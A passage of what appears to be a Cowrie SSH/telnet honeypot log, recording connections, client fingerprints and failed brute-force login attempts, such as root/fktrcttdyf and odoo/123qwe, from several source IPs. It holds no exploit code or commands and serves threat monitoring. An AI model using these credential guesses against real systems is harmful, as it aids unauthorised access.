\\xca\\x8dl!\\xbc\\x10\\xfc\\xecC\\x95\\xbc\\xeb\\xc2\\x90r\\x82\\xf0&+\\x1b\\x1c\\xd4\\x88\\xac~\\x8aC\\x8a\\xfeq\\x85\\xdf\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 `\\x8cQ\\xe1\\x93\\x1c,\\xf1\\xc3oz\\x8c\\x8eg%\\x8cF\\xa4\\xf2\\x11\\xd2\\xe5\\xfe\\x88\\x90\\x93\\x9b\\xb2\\xf6\\x12\\xe3:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:46.134871Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1234","message":"login attempt [administrator/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:49.203653Z","src_ip":"91.92.40.36","session":"f2a021c31ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:50.910492Z","src_ip":"91.92.40.36","session":"f2a021c31ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.5","message":"Connection lost after 33.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:51.447364Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55960,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d879f18c6e","protocol":"ssh","message":"New connection: 91.92.40.36:55960 (159.203.135.109:22) [session: a9d879f18c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:51.986164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:52.609839Z","src_ip":"91.92.40.36","session":"a9d879f18c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:52.613109Z","src_ip":"91.92.40.36","session":"a9d879f18c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123qwe","message":"login attempt [odoo/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:55.713609Z","src_ip":"91.92.40.36","session":"a9d879f18c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:57.079257Z","src_ip":"91.92.40.36","session":"a9d879f18c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50566,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3b0585a0361","protocol":"ssh","message":"New connection: 147.45.199.80:50566 (10.17.0.5:22) [session: c3b0585a0361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:01.737863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:01.742445Z","src_ip":"147.45.199.80","session":"c3b0585a0361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:01.841651Z","src_ip":"147.45.199.80","session":"c3b0585a0361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58482,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba7798e24d81","protocol":"ssh","message":"New connection: 91.92.40.36:58482 (159.203.135.109:22) [session: ba7798e24d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:01.901842Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktrcttdyf","message":"login attempt [root/fktrcttdyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:02.143806Z","src_ip":"147.45.199.80","session":"c3b0585a0361","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:02.306917Z","src_ip":"91.92.40.36","session":"ba7798e24d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:03.245492Z","src_ip":"147.45.199.80","session":"c3b0585a0361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:03.265683Z","src_ip":"91.92.40.36","session":"ba7798e24d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59014,"dst_ip":"159.203.135.109","dst_port":23,"session":"97034d103066","protocol":"telnet","message":"New connection: 172.81.62.90:59014 (159.203.135.109:23) [session: 97034d103066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:04.562795Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62156,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e37f5a9e0e2","protocol":"ssh","message":"New connection: 91.92.40.36:62156 (159.203.135.109:22) [session: 9e37f5a9e0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:08.890814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:09.284268Z","src_ip":"91.92.40.36","session":"9e37f5a9e0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35560,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b3ab909eb3","protocol":"ssh","message":"New connection: 87.251.79.125:35560 (10.17.0.5:22) [session: d1b3ab909eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:10.112094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:10.115984Z","src_ip":"87.251.79.125","session":"d1b3ab909eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:10.186668Z","src_ip":"87.251.79.125","session":"d1b3ab909eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08021989","message":"login attempt [root/08021989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:10.400997Z","src_ip":"87.251.79.125","session":"d1b3ab909eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:10.611482Z","src_ip":"91.92.40.36","session":"9e37f5a9e0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:11.474098Z","src_ip":"87.251.79.125","session":"d1b3ab909eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"54321","message":"login attempt [elastic/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:12.431504Z","src_ip":"91.92.40.36","session":"ba7798e24d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:15.061832Z","src_ip":"91.92.40.36","session":"ba7798e24d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"wasd","message":"login attempt [master/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:16.022303Z","src_ip":"91.92.40.36","session":"9e37f5a9e0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62202,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad6b7aad3026","protocol":"ssh","message":"New connection: 91.92.40.36:62202 (159.203.135.109:22) [session: ad6b7aad3026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:16.055039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:16.720553Z","src_ip":"91.92.40.36","session":"ad6b7aad3026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:17.583978Z","src_ip":"91.92.40.36","session":"ad6b7aad3026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:18.789564Z","src_ip":"91.92.40.36","session":"9e37f5a9e0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37710,"dst_ip":"159.203.135.109","dst_port":22,"session":"1801dd74909d","protocol":"ssh","message":"New connection: 91.92.40.36:37710 (159.203.135.109:22) [session: 1801dd74909d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:22.629013Z"}
{"eventid":"cowrie.login.failed","username":"lucinda","password":"lucinda","message":"login attempt [lucinda/lucinda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:23.852273Z","src_ip":"91.92.40.36","session":"ad6b7aad3026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":48222,"dst_ip":"159.203.135.109","dst_port":22,"session":"e453d1c8ef1a","protocol":"ssh","message":"New connection: 194.113.233.25:48222 (159.203.135.109:22) [session: e453d1c8ef1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:25.769936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:25.773891Z","src_ip":"194.113.233.25","session":"e453d1c8ef1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:25.866399Z","src_ip":"194.113.233.25","session":"e453d1c8ef1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29121993","message":"login attempt [root/29121993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:26.138276Z","src_ip":"194.113.233.25","session":"e453d1c8ef1a","protocol":"ssh"}
